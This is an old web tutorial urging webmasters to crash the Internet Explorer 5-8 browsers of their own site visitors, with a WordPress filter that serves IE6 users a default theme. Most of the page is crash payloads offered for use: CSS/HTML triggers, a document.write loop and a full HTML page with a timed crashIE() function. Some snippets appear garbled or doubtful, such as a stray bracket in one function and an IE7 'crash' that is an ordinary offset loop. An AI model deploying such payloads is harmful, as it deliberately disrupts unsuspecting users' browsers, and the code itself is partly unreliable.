How To Crash Microsoft Internet Explorer 5, 6, 7, and 8 With HTML, JavaScript, and WordPress Plugins

How To Crash Microsoft Internet Explorer 5, 6, 7, And 8 With HTML, JavaScript, And Plugins

Many developers and webmasters do not want expired or older internet browsers which do not adequately follow updated web standards to visit their websites. Internet browsers which do not properly translate validated HTML, CSS, and JavaScript, or even XML feeds and metadata can be a strain for many developers and webmasters whom do not want to break validation standards to suite for websites visitors still using older browsers which will not communicate with evolving markup standards.

  • Luckily for developers and webmasters with website visitors to shed and a bad attitudes towards Microsoft Internet Explorer 6, 7, and 8 you can easily crash IE when visitors using these older browsers visit your website… with simple HTML and JavaScript codes. Help them figure out their browsers are too old!

Included:

  1. 1 Mutli Browser code to crash Internet Explorer 5
  2. 1 PHP function to display a default WordPress template for Internet Explorer 6
  3. 1 WordPress Plugin to crash Internet Explorer 6
  4. Html codes to crash Internet Explorer 6
  5. 2 JavaScript codes to crash Internet Explorer 6
  6. JavaScript codes to crash Internet Explorer 7
  7. 1 code to crash Internet Explorer 7 and 8

Example:Make Internet Explorer Crash

How To Crash Microsoft Internet Explorer 5

Mutli Browser Version (older)
function getX( oElement ) {< var iReturnValue = 0;
do{
iReturnValue += oElement.offsetLeft;
}while(oElement = oElement.offsetParent)
return iReturnValue;
}

How To Crash Microsoft Internet Explorer 6

To swtich themes to a default WordPress theme copy and paste the code below into your WordPress theme’s functions.php file. All other codes besides the plugin below will cause Internet Explorer to crash. This is an option to play it nice.

add_filter('template', 'default_ie');
add_filter('option_template', 'default_ie');
add_filter('option_stylesheet', 'default_ie');
function default_ie($theme) {
if(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 6') !== false)
$theme = 'default';
return $theme;
}
Anti Internet Explorer 6WordPress Plugin
HTML Version 1
<style>*{position:relative}</style><table><input></table>
HTML Version 2 (11 symbols)
<STYLE>@;/*
HTML Version 3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
     html, body {
     overflow: hidden;
      scrollbar-base-color: #330066;
 }

 .crash {
  position:absolute;
   left:200px;
    top:200px;
    width:200px;
     }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
      var moveNode = document.getElementById("move");
       if(moveNode) {
           moveNode.style.top = "100px";
           moveNode.style.left = "200px";
        }
    }
    </script>
</head>

<body onload="galgenfrist();">

   <h1>CRASH-IE</h1>
    <div id="move">
    <table>
        <tbody>
        <tr>
   <td>
    <textarea></textarea>
</td>
        </tr>
        </tbody>
    </table>
    </div>

</body>

</html>
JavaScript  Version 1
<body onLoad=”window()”>
JavaScript Version 2
<script>for (x in document.write) { document.write(x);}</script>

How To Crash Microsoft Internet Explorer 7

JavaScript Version
function getX( oElement ) {
var iReturnValue = 0;
  while( oElement != null ) {
  iReturnValue += oElement.offsetLeft;
    oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

How To Crash Microsoft Internet Explorer 7 and 8

Fucntion for both IE 7 and 8
(function(){ function arguments() { } }())